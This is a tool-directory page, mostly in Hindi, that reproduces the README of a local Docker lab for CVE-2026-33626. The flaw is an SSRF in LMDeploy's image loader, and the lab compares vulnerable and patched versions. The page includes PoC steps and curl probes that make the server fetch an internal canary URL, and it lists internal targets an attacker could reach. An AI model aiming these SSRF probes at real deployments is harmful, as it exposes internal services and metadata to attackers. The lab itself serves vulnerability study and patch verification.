Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/rootdirective-sec
/
cve-2026-33626-lab
भेद्यता विश्लेषणवेब सुरक्षाCTFलर्निंग और शिक्षाAI सुरक्षालैब और अभ्यास
GitHubrootdirective-sec/cve-2026-33626-lab

CVE-2026-33626-Lab

Docker Compose लैब CVE-2026-33626 को LMDeploy के विज़न-लैंग्वेज इमेज लोडर में SSRF को पुन: प्रस्तुत करता है। कमजोर (0.12.0) और पैच किए गए (0.12.3) व्यवहार की तुलना PoC स्क्रिप्ट और आंतरिक कैनरी सेवा के साथ करता है।

रिपॉजिटरी देखें
23 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-33626 — LMDeploy विज़न-लैंग्वेज SSRF लैब

अवलोकन

यह रिपॉज़िटरी CVE-2026-33626 को दोहराती है, जो LMDeploy के विज़न-लैंग्वेज इमेज लोडिंग पथ में एक सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF) भेद्यता है।

भेद्य व्यवहार तब होता है जब LMDeploy एक इमेज URL प्राप्त करता है और सर्वर-साइड इमेज लोडर उस URL को आंतरिक, निजी, लूपबैक या लिंक-लोकल पतों को ठीक से ब्लॉक किए बिना लाता है।

यह लैब तुलना करती है:

ServiceVersionPurpose
vulnLMDeploy 0.12.0भेद्य व्यवहार प्रदर्शित करता है
patchedLMDeploy 0.12.3पैच किए गए व्यवहार को प्रदर्शित करता है
internalLocal canary serviceDocker नेटवर्क के अंदर केवल-आंतरिक संसाधन का अनुकरण करता है

यह लैब Docker Compose के साथ स्थानीय रूप से चलाने के लिए डिज़ाइन की गई है और क्लाउड मेटाडेटा एंडपॉइंट या बाहरी लक्ष्यों से संपर्क नहीं करती है।


भेद्यता सारांश

LMDeploy विज़न-लैंग्वेज वर्कफ़्लो का समर्थन करता है जहाँ एक इमेज उपयोगकर्ता-आपूर्ति URL से लोड की जा सकती है। भेद्य संस्करणों में, इमेज लोडिंग कोड उन URL को ला सकता है जो आंतरिक/निजी नेटवर्क पतों पर हल होते हैं।

यह LMDeploy एंडपॉइंट तक पहुंच रखने वाले हमलावर को सर्वर से आंतरिक संसाधनों का अनुरोध करवाने की अनुमति दे सकता है, जैसे:

  • आंतरिक HTTP सेवाएं
  • मेटाडेटा एंडपॉइंट
  • कैश/डेटाबेस सेवाएं
  • निजी एडमिन पैनल
  • इन्फ्रेंस सर्वर नेटवर्क से पहुंच योग्य अन्य सेवाएं

इस लैब में, आंतरिक लक्ष्य जानबूझकर हानिरहित है:

root@kitploit:~
http://internal:9000/private.png

यह URL केवल Docker Compose नेटवर्क के अंदर मौजूद है।


लैब डिज़ाइन

root@kitploit:~
PoC script
   |
   | sends image URL
   v
vuln / patched service
   |
   | calls lmdeploy.vl.load_image(url)
   v
internal canary service

यह लैब पूर्ण VLM इन्फ्रेंस सर्वर नहीं चलाती है। इसके बजाय, यह कॉल करके भेद्य LMDeploy इमेज-लोडिंग प्रिमिटिव को अलग करती है:

root@kitploit:~
from lmdeploy.vl import load_image
load_image(url)

यह पुनरुत्पादन को हल्का और नियतात्मक रखता है, साथ ही उस सुरक्षा व्यवहार को प्रदर्शित करता है जिसे पैच किया गया था।


रिपॉज़िटरी संरचना

root@kitploit:~
.
├── docker-compose.yml
├── internal
│   ├── Dockerfile
│   └── server.py
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
├── vuln
│   └── Dockerfile
└── README.md

सेवाएं

Docker नेटवर्क के अंदर, आंतरिक कैनरी इस रूप में पहुंच योग्य है:

root@kitploit:~
http://internal:9000/private.png

आवश्यकताएँ

  • Docker Desktop
  • Docker Compose v2
  • PoC स्क्रिप्ट चलाने के लिए Python 3

Apple Silicon पर, vuln और patched सेवाएँ linux/amd64 के रूप में चलती हैं क्योंकि इस लैब में उपयोग किया गया LMDeploy व्हील x86_64-उन्मुख है।


लैब चलाएँ

सेवाओं को बनाएँ और प्रारंभ करें:

root@kitploit:~
docker compose up -d --build

कंटेनर स्थिति जाँचें:

root@kitploit:~
docker compose ps

अपेक्षित स्थिति:

root@kitploit:~
cve-2026-33626-internal   Up
cve-2026-33626-vuln       Up (healthy)
cve-2026-33626-patched    Up (healthy)

संस्करण सत्यापित करें

root@kitploit:~
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq

अपेक्षित आउटपुट:

root@kitploit:~
{
  "lmdeploy_version": "0.12.0",
  "expected_role": "vulnerable"
}
root@kitploit:~
{
  "lmdeploy_version": "0.12.3",
  "expected_role": "patched"
}
root@kitploit:~
{
  "hits": []
}

PoC चलाएँ

एक वर्चुअल वातावरण बनाएँ और निर्भरताएँ स्थापित करें:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

PoC चलाएँ:

root@kitploit:~
python poc/poc.py

डिफ़ॉल्ट SSRF लक्ष्य है:

root@kitploit:~
http://internal:9000/private.png

यह लक्ष्य Docker कंटेनरों से पहुंच योग्य है, सार्वजनिक इंटरनेट से नहीं।


अपेक्षित परिणाम

भेद्य सेवा

भेद्य सेवा को आंतरिक कैनरी इमेज सफलतापूर्वक लानी चाहिए:

root@kitploit:~
{
  "service": "vulnerable",
  "probe_http_status": 200,
  "probe_response": {
    "ok": true,
    "result": "lmdeploy.vl.load_image() fetched and decoded the URL",
    "lmdeploy_version": "0.12.0"
  },
  "internal_hit_count": 1
}

यह पुष्टि करता है कि LMDeploy 0.12.0 ने आंतरिक Docker सेवा के लिए सर्वर-साइड अनुरोध किया।

पैच की गई सेवा

पैच की गई सेवा को आंतरिक सेवा तक पहुंचने से पहले उसी URL को ब्लॉक करना चाहिए:

root@kitploit:~
{
  "service": "patched",
  "probe_http_status": 400,
  "probe_response": {
    "ok": false,
    "error_type": "ValueError",
    "error": "URL is blocked for security reasons: Blocked non-global IP detected",
    "lmdeploy_version": "0.12.3"
  },
  "internal_hit_count": 0
}

यह पुष्टि करता है कि LMDeploy 0.12.3 गैर-वैश्विक/आंतरिक IP पतों पर हल होने वाले URL को ब्लॉक करता है।

अंतिम अपेक्षित सारांश:

root@kitploit:~
[+] Expected result confirmed:
    vulnerable service fetched the internal canary
    patched service blocked before reaching the internal canary

मैन्युअल परीक्षण

आंतरिक कैनरी रीसेट करें:

root@kitploit:~
curl -sS -X POST http://127.0.0.1:8090/reset | jq

भेद्य सेवा का परीक्षण करें:

root@kitploit:~
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq

अपेक्षित: /hits में एक अनुरोध होता है।

पैच की गई सेवा का परीक्षण करें:

root@kitploit:~
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq

अपेक्षित: /hits खाली रहता है।


यह SSRF को क्यों प्रदर्शित करता है

PoC आंतरिक सेवा से सीधे हमलावर के रूप में अनुरोध नहीं करता है।

इसके बजाय, PoC LMDeploy को एक आंतरिक URL भेजता है। यदि LMDeploy उस URL को कंटेनर नेटवर्क के अंदर से लाता है, तो आंतरिक कैनरी अनुरोध को रिकॉर्ड करता है।

यह व्यवहार SSRF प्रिमिटिव को सिद्ध करता है:

root@kitploit:~
attacker-controlled URL
        ↓
LMDeploy server-side image loader
        ↓
request to internal network resource

पैच किया गया संस्करण गैर-वैश्विक IP पतों पर हल होने वाले URL को अस्वीकार करके इसे रोकता है।


सफाई

root@kitploit:~
docker compose down -v

संदर्भ

  • GitHub सुरक्षा सलाहकार: GHSA-6w67-hwm5-92mq https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq

  • NVD: CVE-2026-33626 https://nvd.nist.gov/vuln/detail/CVE-2026-33626

  • पैच कमिट: 71d64a339edb901e9005358e0633fbbab367d626 https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626

  • पुल रिक्वेस्ट: #4447 https://github.com/InternLM/lmdeploy/pull/4447

  • Sysdig विश्लेषण https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours

टूल डाउनलोड करें
ServiceHost URLContainer PortDescription
vulnhttp://127.0.0.1:80818000LMDeploy 0.12.0 रैपर
patchedhttp://127.0.0.1:80828000LMDeploy 0.12.3 रैपर
internalhttp://127.0.0.1:80909000आंतरिक कैनरी सेवा